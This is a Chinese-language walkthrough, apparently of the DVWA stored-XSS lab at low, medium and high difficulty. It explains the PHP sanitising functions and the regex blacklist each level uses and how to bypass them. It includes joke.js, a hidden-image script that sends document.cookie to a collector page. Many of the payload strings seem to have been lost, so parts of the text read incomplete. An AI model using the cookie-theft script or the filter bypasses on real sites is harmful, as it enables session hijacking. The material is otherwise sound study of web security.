直接输入测试,只要查看这个日志就会弹出这个信息,依法炮制试试获取cookie
joke.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/joke/joke.php?joke='+encodeURIComponent(document.cookie);
//
joke.php
输入 即可跳转
实验证明少了http://或者双引号都无法跳转
源码
Stored XSS Source
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
trim(string,charlist)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
|
源码中只是简单的删除了charlist中的符号,并没有过滤任何的标签,当然存在xss漏洞
直接输入,由下面显示就可以知道, 大写后发现还是被过滤了,也就是说这次过滤是不分大小写的
输入
输入
那么这次肯定就是正则表达式过滤,然后捉包改变一下字数限制,居然能弹出。
分析在message中做了过滤标签的处理,而在name中也做了但是应该只是简单的过滤了,没有考虑到大小写,和双写问题,应该只是个简单的replace
源码
Stored XSS Source
', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
strip_tags(string,allow)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
allow | 可选。规定允许的标签。这些标签不会被删除。 |
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
用了三个函数来保证message的安全,最后的htmlspecialchars()函数就已经没有任何办法了,而name中只有一个replace真是尴尬,这也提醒了如果message不行就试试name啊,还有以下的直接输入"哈哈"发现自动多了反斜杠,多少也可以知道其中用了什么函数,这也是一个获取信息的思路啊
可以肯定Message做了和medium一样的防护了,所以不考虑message了,但是在name中不管输入大小学还是双写都没有用了,这时候就该想到黑名单过滤了,正则表达式。
直接输入
在输入sa则完全可以显示,因为代码是从<开始匹配
那么可以怎么利用呢 如上所说可以使用
源码
Stored XSS Source
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
其中/i表示不区分大小写,所有不管用大小写,或者双写都不可能绕过。
在输入